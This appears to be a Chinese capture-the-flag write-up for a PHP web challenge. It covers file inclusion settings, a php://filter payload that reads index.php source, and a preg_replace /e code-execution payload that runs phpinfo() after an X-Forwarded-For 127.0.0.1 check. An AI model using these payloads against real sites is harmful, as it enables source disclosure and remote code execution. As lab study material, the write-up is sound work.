# 0x01 前言

涉及知识点 : php 伪协议 文件包含 pre_replace

1
2
3
4
5
allow_url_fopen = On  &&  allow_url_include = Off     可以触发本地文件包含漏洞

allow_url_fopen = On && allow_url_include = On 可以触发远程文件包含漏洞

allow_url_fopen = Off && allow_url_include = On 需通过php://input伪协议进行包含

# 0x02 解题过程

  1. F12 代码审计 发现只有 设备维护中心指向 index.php

  2. 继续 F12 发现 page=index 出现回显image-20210319172415293

  3. 初步怀疑为文件包含漏洞 测试 page=1 发现回显 1

  4. 使用 php 伪协议下载页面源码

    ?page=php://filter//read=convert.base64-encode/resource=index.php

  5. base64 解码 发现重要代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}
  1. 函数解释

    • isset 检测变量是否设置,并且不是 NULL。
    • preg_replace // 将 subject 变量中含有 pattern 的用 replacement 进行替换image-20210319173229461
  2. 构造函数

    ?pat=/a/e&rep=phpinfo()&sub=a

    image-20210319174349164

image-20210316213739692